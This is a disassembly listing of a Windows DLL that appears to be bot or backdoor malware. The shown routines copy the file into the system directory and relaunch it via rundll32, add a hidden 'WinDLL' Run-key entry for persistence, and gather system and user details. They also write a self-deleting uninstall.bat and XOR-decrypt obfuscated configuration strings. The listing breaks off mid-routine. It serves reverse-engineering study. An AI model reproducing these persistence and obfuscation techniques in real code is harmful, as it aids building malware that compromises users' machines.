sub_10004799	proc near		; CODE XREF: start+282p
					; sub_10007398+Dp ...

var_4018	= dword	ptr -4018h
var_4014	= dword	ptr -4014h
var_4010	= dword	ptr -4010h
var_400C	= dword	ptr -400Ch
var_4008	= byte ptr -4008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 4018h
		call	__alloca_probe
		mov	[ebp+var_4010],	0
		mov	[ebp+var_4018],	0
		mov	[ebp+var_400C],	0
		mov	[ebp+var_4014],	0
		mov	byte ptr [ebp+var_8], 0
		jmp	short loc_100047E3
; ---------------------------------------------------------------------------

loc_100047D4:				; CODE XREF: sub_10004799:loc_10004926j
		mov	eax, [ebp+var_4010]
		add	eax, 1
		mov	[ebp+var_4010],	eax

loc_100047E3:				; CODE XREF: sub_10004799+39j
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4010]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	loc_1000492B
		cmp	[ebp+var_400C],	20h
		jge	loc_1000492B
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_10004847
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4010]
		movsx	edx, byte ptr [ecx]
		movsx	eax, [ebp+arg_8]
		cmp	edx, eax
		jnz	short loc_10004847
		mov	byte ptr [ebp+var_8], 0
		mov	ecx, [ebp+var_400C]
		shl	ecx, 9
		lea	edx, [ebp+ecx+var_4008]
		mov	eax, [ebp+var_4018]
		mov	byte ptr [edx+eax], 0
		jmp	loc_10004926
; ---------------------------------------------------------------------------

loc_10004847:				; CODE XREF: sub_10004799+75j
					; sub_10004799+89j
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_100048D2
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_4010]
		movsx	eax, byte ptr [edx]
		movsx	ecx, [ebp+arg_8]
		cmp	eax, ecx
		jz	short loc_100048D2
		mov	byte ptr [ebp+var_8], 1
		mov	edx, [ebp+var_4014]
		add	edx, 1
		mov	[ebp+var_4014],	edx
		cmp	[ebp+var_4014],	1
		jle	short loc_10004893
		mov	eax, [ebp+var_400C]
		add	eax, 1
		mov	[ebp+var_400C],	eax

loc_10004893:				; CODE XREF: sub_10004799+E9j
		mov	[ebp+var_4018],	0
		mov	ecx, [ebp+var_400C]
		shl	ecx, 9
		lea	edx, [ebp+ecx+var_4008]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4010]
		mov	ecx, [ebp+var_4018]
		mov	al, [eax]
		mov	[edx+ecx], al
		mov	ecx, [ebp+var_4018]
		add	ecx, 1
		mov	[ebp+var_4018],	ecx
		jmp	short loc_10004926
; ---------------------------------------------------------------------------

loc_100048D2:				; CODE XREF: sub_10004799+B9j
					; sub_10004799+CDj
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_10004926
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4010]
		movsx	ecx, byte ptr [eax]
		movsx	edx, [ebp+arg_8]
		cmp	ecx, edx
		jz	short loc_10004926
		mov	eax, [ebp+var_400C]
		shl	eax, 9
		lea	ecx, [ebp+eax+var_4008]
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_4010]
		mov	eax, [ebp+var_4018]
		mov	dl, [edx]
		mov	[ecx+eax], dl
		mov	eax, [ebp+var_4018]
		add	eax, 1
		mov	[ebp+var_4018],	eax

loc_10004926:				; CODE XREF: sub_10004799+A9j
					; sub_10004799+137j ...
		jmp	loc_100047D4
; ---------------------------------------------------------------------------

loc_1000492B:				; CODE XREF: sub_10004799+58j
					; sub_10004799+65j
		mov	ecx, [ebp+var_400C]
		shl	ecx, 9
		lea	edx, [ebp+ecx+var_4008]
		mov	eax, [ebp+var_4018]
		mov	byte ptr [edx+eax], 0
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		shl	ecx, 9
		lea	edx, [ebp+ecx+var_4008]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_10004799	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000495F(char	addr)

sub_1000495F	proc near		; CODE XREF: sub_10007424+259p

var_4		= dword	ptr -4
addr		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	2		; type
		push	4		; len
		lea	eax, [ebp+addr]
		push	eax		; addr
		call	ds:gethostbyaddr	; gethostbyaddr
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_1000497E
		xor	eax, eax
		jmp	short loc_10004983
; ---------------------------------------------------------------------------

loc_1000497E:				; CODE XREF: sub_1000495F+19j
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx]

loc_10004983:				; CODE XREF: sub_1000495F+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000495F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004987	proc near		; CODE XREF: sub_10007424+8AAp

Buffer		= byte ptr -274h
VersionInformation= _OSVERSIONINFOA ptr	-174h
var_E0		= dword	ptr -0E0h
pcbBuffer	= dword	ptr -0DCh
nSize		= dword	ptr -0D8h
Dest		= byte ptr -0D4h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 274h
		push	100h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+var_14], eax
		mov	[ebp+nSize], 10h
		mov	[ebp+pcbBuffer], 15h
		push	100h		; uSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		lea	ecx, [ebp+var_50]
		push	ecx		; lpBuffer
		call	ds:GlobalMemoryStatus	; GlobalMemoryStatus
		mov	[ebp+VersionInformation.dwOSVersionInfoSize], 94h
		lea	edx, [ebp+VersionInformation]
		push	edx		; lpVersionInformation
		call	ds:GetVersionExA	; GetVersionExA
		cmp	[ebp+VersionInformation.dwMajorVersion], 4
		jnz	short loc_10004A1E
		cmp	[ebp+VersionInformation.dwMinorVersion], 0
		jnz	short loc_10004A1E
		cmp	[ebp+VersionInformation.dwPlatformId], 1
		jnz	short loc_10004A0C
		mov	[ebp+var_30], offset a95 ; "95"
		jmp	short loc_10004A1C
; ---------------------------------------------------------------------------

loc_10004A0C:				; CODE XREF: sub_10004987+7Aj
		cmp	[ebp+VersionInformation.dwPlatformId], 2
		jnz	short loc_10004A1C
		mov	[ebp+var_30], offset aNt ; "NT"

loc_10004A1C:				; CODE XREF: sub_10004987+83j
					; sub_10004987+8Cj
		jmp	short loc_10004A91
; ---------------------------------------------------------------------------

loc_10004A1E:				; CODE XREF: sub_10004987+68j
					; sub_10004987+71j
		cmp	[ebp+VersionInformation.dwMajorVersion], 4
		jnz	short loc_10004A39
		cmp	[ebp+VersionInformation.dwMinorVersion], 0Ah
		jnz	short loc_10004A39
		mov	[ebp+var_30], offset a98 ; "98"
		jmp	short loc_10004A91
; ---------------------------------------------------------------------------

loc_10004A39:				; CODE XREF: sub_10004987+9Ej
					; sub_10004987+A7j
		cmp	[ebp+VersionInformation.dwMajorVersion], 4
		jnz	short loc_10004A54
		cmp	[ebp+VersionInformation.dwMinorVersion], 5Ah
		jnz	short loc_10004A54
		mov	[ebp+var_30], offset aMe ; "ME"
		jmp	short loc_10004A91
; ---------------------------------------------------------------------------

loc_10004A54:				; CODE XREF: sub_10004987+B9j
					; sub_10004987+C2j
		cmp	[ebp+VersionInformation.dwMajorVersion], 5
		jnz	short loc_10004A6F
		cmp	[ebp+VersionInformation.dwMinorVersion], 0
		jnz	short loc_10004A6F
		mov	[ebp+var_30], offset a2000 ; "2000"
		jmp	short loc_10004A91
; ---------------------------------------------------------------------------

loc_10004A6F:				; CODE XREF: sub_10004987+D4j
					; sub_10004987+DDj
		cmp	[ebp+VersionInformation.dwMajorVersion], 5
		jnz	short loc_10004A8A
		cmp	[ebp+VersionInformation.dwMinorVersion], 1
		jnz	short loc_10004A8A
		mov	[ebp+var_30], offset aXp ; "XP"
		jmp	short loc_10004A91
; ---------------------------------------------------------------------------

loc_10004A8A:				; CODE XREF: sub_10004987+EFj
					; sub_10004987+F8j
		mov	[ebp+var_30], offset a??? ; "???"

loc_10004A91:				; CODE XREF: sub_10004987:loc_10004A1Cj
					; sub_10004987+B0j ...
		cmp	[ebp+VersionInformation.dwPlatformId], 2
		jnz	short loc_10004AD3
		movsx	eax, [ebp+VersionInformation.szCSDVersion]
		test	eax, eax
		jz	short loc_10004AD3
		lea	ecx, [ebp+VersionInformation.szCSDVersion]
		push	ecx
		mov	edx, [ebp+var_30]
		push	edx
		push	offset aSS_3	; "%s (%s)"
		push	80h		; Count
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		lea	ecx, [ebp+Dest]
		mov	[ebp+var_30], ecx

loc_10004AD3:				; CODE XREF: sub_10004987+111j
					; sub_10004987+11Cj
		call	ds:GetTickCount	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_54], eax
		lea	edx, [ebp+nSize]
		push	edx		; nSize
		lea	eax, [ebp+var_10]
		push	eax		; lpBuffer
		call	ds:GetComputerNameA	; GetComputerNameA
		lea	ecx, [ebp+var_10]
		mov	[ebp+var_E0], ecx
		lea	edx, [ebp+pcbBuffer]
		push	edx		; pcbBuffer
		lea	eax, [ebp+var_2C]
		push	eax		; lpBuffer
		call	ds:GetUserNameA	; GetUserNameA
		mov	eax, [ebp+var_54]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 3Ch
		div	ecx
		push	eax
		mov	eax, [ebp+var_54]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		push	eax
		mov	eax, [ebp+var_54]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		push	eax
		lea	edx, [ebp+Buffer]
		push	edx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_E0]
		push	ecx
		mov	edx, [ebp+var_48]
		shr	edx, 14h
		push	edx
		mov	eax, [ebp+var_44]
		shr	eax, 14h
		push	eax
		call	sub_10004631
		push	eax
		mov	ecx, [ebp+VersionInformation.dwBuildNumber]
		push	ecx
		mov	edx, [ebp+VersionInformation.dwMinorVersion]
		push	edx
		mov	eax, [ebp+VersionInformation.dwMajorVersion]
		push	eax
		mov	ecx, [ebp+var_30]
		push	ecx
		push	offset aOsWindowsSD_DD ; "OS: Windows %s (%d.%d	- %d), CPU: %dMHz"...
		push	100h		; Count
		mov	edx, [ebp+var_14]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 40h
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_10004987	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004BB5	proc near		; CODE XREF: start:loc_100043A7p
					; sub_10007424+8E6p

Dest		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	100h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Dest], eax
		push	offset byte_10012A70
		push	offset byte_1002C5D8
		push	offset Dest
		push	offset aIpSConnectedFr ; "IP: %s, connected from: %s (%s)"
		push	100h		; Count
		mov	eax, [ebp+Dest]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 18h
		mov	eax, [ebp+Dest]
		mov	esp, ebp
		pop	ebp
		retn
sub_10004BB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10004BF7(char	*Src)

sub_10004BF7	proc near		; CODE XREF: sub_10007005+185p
					; sub_10007424+217p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	edx, [ebp+var_8]
		push	edx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		mov	ecx, [ebp+Src]
		push	ecx		; Src
		call	ds:sscanf	; sscanf
		add	esp, 18h
		cmp	[ebp+var_4], 0
		jl	short loc_10004C5F
		cmp	[ebp+var_4], 0FFh
		jg	short loc_10004C5F
		cmp	[ebp+var_8], 0
		jl	short loc_10004C5F
		cmp	[ebp+var_8], 0FFh
		jg	short loc_10004C5F
		cmp	[ebp+var_C], 0
		jl	short loc_10004C5F
		cmp	[ebp+var_C], 0FFh
		jg	short loc_10004C5F
		cmp	[ebp+var_10], 0
		jl	short loc_10004C5F
		cmp	[ebp+var_10], 0FFh
		jg	short loc_10004C5F
		mov	al, 1
		jmp	short loc_10004C61
; ---------------------------------------------------------------------------

loc_10004C5F:				; CODE XREF: sub_10004BF7+2Cj
					; sub_10004BF7+35j ...
		xor	al, al

loc_10004C61:				; CODE XREF: sub_10004BF7+66j
		mov	esp, ebp
		pop	ebp
		retn
sub_10004BF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004C65	proc near		; CODE XREF: sub_10007424+EC1p
					; sub_10007424+1010p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		push	0
		call	ds:_beginthreadex	; _beginthreadex
		add	esp, 18h
		pop	ebp
		retn
sub_10004C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004C83	proc near		; CODE XREF: sub_10007005:loc_10007288p

namelen		= dword	ptr -14h
name		= sockaddr ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+namelen], 10h
		lea	eax, [ebp+namelen]
		push	eax		; namelen
		lea	ecx, [ebp+name]
		push	ecx		; name
		mov	edx, s
		push	edx		; s
		call	ds:getsockname	; getsockname
		mov	eax, dword ptr [ebp+name.sa_data+5]
		and	eax, 0FFh
		push	eax
		mov	ecx, [ebp-0Ah]
		and	ecx, 0FFh
		push	ecx
		mov	edx, [ebp-0Bh]
		and	edx, 0FFh
		push	edx
		mov	eax, [ebp-0Ch]
		and	eax, 0FFh
		push	eax
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		push	10h		; Count
		push	offset Dest	; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		mov	esp, ebp
		pop	ebp
		retn
sub_10004C83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004CE4	proc near		; CODE XREF: start+102p

Buffer		= byte ptr -300h
Parameters	= byte ptr -200h
NewFileName	= byte ptr -100h

		push	ebp
		mov	ebp, esp
		sub	esp, 300h
		push	100h		; uSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset dword_1002C5E8
		lea	ecx, [ebp+Buffer]
		push	ecx
		push	offset aSS_4	; "%s\\%s"
		push	100h		; Count
		lea	edx, [ebp+NewFileName]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		push	offset ExistingFileName	; Str2
		lea	eax, [ebp+NewFileName]
		push	eax		; Str1
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10004D40
		jmp	short loc_10004DAD
; ---------------------------------------------------------------------------

loc_10004D40:				; CODE XREF: sub_10004CE4+58j
					; sub_10004CE4+7Fj
		push	0		; bFailIfExists
		lea	ecx, [ebp+NewFileName]
		push	ecx		; lpNewFileName
		push	offset ExistingFileName	; lpExistingFileName
		call	ds:CopyFileA	; CopyFileA
		test	eax, eax
		jnz	short loc_10004D65
		push	7D0h		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_10004D40
; ---------------------------------------------------------------------------

loc_10004D65:				; CODE XREF: sub_10004CE4+72j
		call	sub_10004DB1
		lea	edx, [ebp+NewFileName]
		push	edx
		push	offset aSStart	; "%s,start"
		push	100h		; Count
		lea	eax, [ebp+Parameters]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	0		; nShowCmd
		push	0		; lpDirectory
		lea	ecx, [ebp+Parameters]
		push	ecx		; lpParameters
		push	offset aRundll32_exe ; "rundll32.exe"
		push	offset aOpen_0	; "open"
		push	0		; hwnd
		call	ds:ShellExecuteA	; ShellExecuteA
		call	sub_10004EA7
; ---------------------------------------------------------------------------

loc_10004DAD:				; CODE XREF: sub_10004CE4+5Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_10004CE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004DB1	proc near		; CODE XREF: sub_10004CE4:loc_10004D65p

Buffer		= byte ptr -384h
hKey		= dword	ptr -284h
Data		= byte ptr -280h
ValueName	= byte ptr -180h
FileName	= byte ptr -100h

		push	ebp
		mov	ebp, esp
		sub	esp, 384h
		push	100h		; uSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset dword_1002C5E8
		push	offset aWindllS	; "WinDLL (%s)"
		push	80h		; Count
		lea	ecx, [ebp+ValueName]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	offset dword_1002C5E8
		lea	edx, [ebp+Buffer]
		push	edx
		push	offset aSS_5	; "%s\\%s"
		push	100h		; Count
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		lea	ecx, [ebp+FileName]
		push	ecx
		push	offset aRundll32_exeSS ; "rundll32.exe %s,start"
		push	100h		; Count
		lea	edx, [ebp+Data]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	0		; lpdwDisposition
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		push	offset SubKey	; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h	; hKey
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		lea	ecx, [ebp+Data]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; cbData
		lea	edx, [ebp+Data]
		push	edx		; lpData
		push	1		; dwType
		push	0		; Reserved
		lea	eax, [ebp+ValueName]
		push	eax		; lpValueName
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegSetValueExA	; RegSetValueExA
		mov	edx, [ebp+hKey]
		push	edx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		push	6		; dwFileAttributes
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	ds:SetFileAttributesA	; SetFileAttributesA
		mov	esp, ebp
		pop	ebp
		retn
sub_10004DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_10004EA7	proc near		; CODE XREF: sub_10004CE4+C4p
					; sub_10005380+1B0p ...

hKey		= dword	ptr -88Ch
ValueName	= byte ptr -888h
hObject		= dword	ptr -808h
var_804		= byte ptr -804h
Buffer		= byte ptr -704h
NumberOfBytesWritten= dword ptr	-604h
File		= byte ptr -600h
Str		= byte ptr -500h
FileName	= byte ptr -100h

		push	ebp
		mov	ebp, esp
		sub	esp, 88Ch
		push	100h		; uSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		lea	ecx, [ebp+var_804]
		push	ecx		; lpBuffer
		push	100h		; nBufferLength
		call	ds:GetTempPathA	; GetTempPathA
		push	offset dword_1002C5E8
		lea	edx, [ebp+Buffer]
		push	edx
		push	offset aSS_6	; "%s\\%s"
		push	100h		; Count
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		lea	ecx, [ebp+var_804]
		push	ecx
		push	offset aSuninstall_bat ; "%suninstall.bat"
		push	100h		; Count
		lea	edx, [ebp+File]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	offset ExistingFileName	; Str2
		lea	eax, [ebp+FileName]
		push	eax		; Str1
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10004F9F
		push	offset dword_1002C5E8
		push	offset aWindllS_0 ; "WinDLL (%s)"
		push	80h		; Count
		lea	ecx, [ebp+ValueName]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	0		; lpdwDisposition
		lea	edx, [ebp+hKey]
		push	edx		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h	; hKey
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		lea	eax, [ebp+ValueName]
		push	eax		; lpValueName
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegDeleteValueA	; RegDeleteValueA
		push	80h		; dwFileAttributes
		lea	edx, [ebp+FileName]
		push	edx		; lpFileName
		call	ds:SetFileAttributesA	; SetFileAttributesA

loc_10004F9F:				; CODE XREF: sub_10004EA7+8Bj
		lea	eax, [ebp+File]
		push	eax
		push	offset ExistingFileName
		push	offset ExistingFileName
		push	offset a@echoOff1DelSI ; "@echo	off\r\n:1\r\ndel \"%s\"\r\nif exist \"%s\" "...
		push	400h		; Count
		lea	ecx, [ebp+Str]
		push	ecx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 18h
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	edx, [ebp+File]
		push	edx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; nNumberOfBytesToWrite
		lea	edx, [ebp+Str]
		push	edx		; lpBuffer
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		mov	ecx, [ebp+hObject]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle
		push	0		; nShowCmd
		push	0		; lpDirectory
		push	0		; lpParameters
		lea	edx, [ebp+File]
		push	edx		; lpFile
		push	offset aOpen_1	; "open"
		push	0		; hwnd
		call	ds:ShellExecuteA	; ShellExecuteA
		push	0		; Code
		call	ds:exit	; exit
sub_10004EA7	endp

; ---------------------------------------------------------------------------
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000504C	proc near		; CODE XREF: start+FDp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
		push	offset unk_10011AD0 ; int
		push	80h		; int
		push	offset Name	; int
		call	sub_10005191
		add	esp, 10h
		push	offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
		push	offset dword_1000CA30 ;	int
		push	80h		; int
		push	offset Str	; int
		call	sub_10005191
		add	esp, 10h
		push	offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
		push	offset dword_1000CAB0 ;	int
		push	80h		; int
		push	offset byte_10012C44 ; int
		call	sub_10005191
		add	esp, 10h
		push	offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
		push	offset aZuvj	; "\a:zuvj|:"
		push	80h		; int
		push	offset byte_1002C868 ; int
		call	sub_10005191
		add	esp, 10h
		push	offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
		push	offset dword_1000CBB0 ;	int
		push	80h		; int
		push	offset dword_1002C768 ;	int
		call	sub_10005191
		add	esp, 10h
		push	offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
		push	offset dword_1000CC30 ;	int
		push	80h		; int
		push	offset dword_10012BC4 ;	int
		call	sub_10005191
		add	esp, 10h
		push	offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
		push	offset aZuvj_0	; "\b:zuvj|:("
		push	80h		; int
		push	offset dword_1002C7E8 ;	int
		call	sub_10005191
		add	esp, 10h
		push	offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
		push	offset aNpwfju7A ; "\vnpwFju+7|a|"
		push	80h		; int
		push	offset dword_1002C5E8 ;	int
		call	sub_10005191
		add	esp, 10h
		mov	[ebp+var_4], 0
		jmp	short loc_10005142
; ---------------------------------------------------------------------------

loc_10005139:				; CODE XREF: sub_1000504C+132j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_10005142:				; CODE XREF: sub_1000504C+EBj
		mov	ecx, [ebp+var_4]
		shl	ecx, 7
		movsx	edx, ds:byte_1000C230[ecx]
		test	edx, edx
		jz	short loc_10005180
		push	offset a7xoaredq6lsnv6 ; "7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4"...
		mov	eax, [ebp+var_4]
		shl	eax, 7
		add	eax, offset byte_1000C230
		push	eax		; int
		push	80h		; int
		mov	ecx, [ebp+var_4]
		shl	ecx, 7
		add	ecx, offset byte_1002C8E8
		push	ecx		; int
		call	sub_10005191
		add	esp, 10h
		jmp	short loc_10005139
; ---------------------------------------------------------------------------

loc_10005180:				; CODE XREF: sub_1000504C+105j
		mov	edx, [ebp+var_4]
		shl	edx, 7
		mov	byte_1002C8E8[edx], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_1000504C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10005191(int,int,int,char *Str)

sub_10005191	proc near		; CODE XREF: sub_1000504C+18p
					; sub_1000504C+34p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_10], dl
		mov	[ebp+var_8], 0
		jmp	short loc_100051C0
; ---------------------------------------------------------------------------

loc_100051B7:				; CODE XREF: sub_10005191+4Ej
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax

loc_100051C0:				; CODE XREF: sub_10005191+24j
		mov	ecx, [ebp+var_10]
		and	ecx, 0FFh
		cmp	[ebp+var_8], ecx
		jge	short loc_100051E1
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_8]
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_8]
		mov	cl, [eax+1]
		mov	[edx], cl
		jmp	short loc_100051B7
; ---------------------------------------------------------------------------

loc_100051E1:				; CODE XREF: sub_10005191+3Bj
		mov	[ebp+var_14], 0
		jmp	short loc_100051F3
; ---------------------------------------------------------------------------

loc_100051EA:				; CODE XREF: sub_10005191:loc_1000523Fj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx

loc_100051F3:				; CODE XREF: sub_10005191+57j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_4]
		jge	short loc_10005241
		mov	[ebp+var_C], 0
		jmp	short loc_1000520D
; ---------------------------------------------------------------------------

loc_10005204:				; CODE XREF: sub_10005191+ACj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx

loc_1000520D:				; CODE XREF: sub_10005191+71j
		mov	edx, [ebp+var_10]
		and	edx, 0FFh
		cmp	[ebp+var_C], edx
		jge	short loc_1000523F
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jl	short loc_10005225
		jmp	short loc_1000523F
; ---------------------------------------------------------------------------

loc_10005225:				; CODE XREF: sub_10005191+90j
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	edx, [ebp+Str]
		add	edx, [ebp+var_14]
		mov	al, [ecx]
		xor	al, [edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
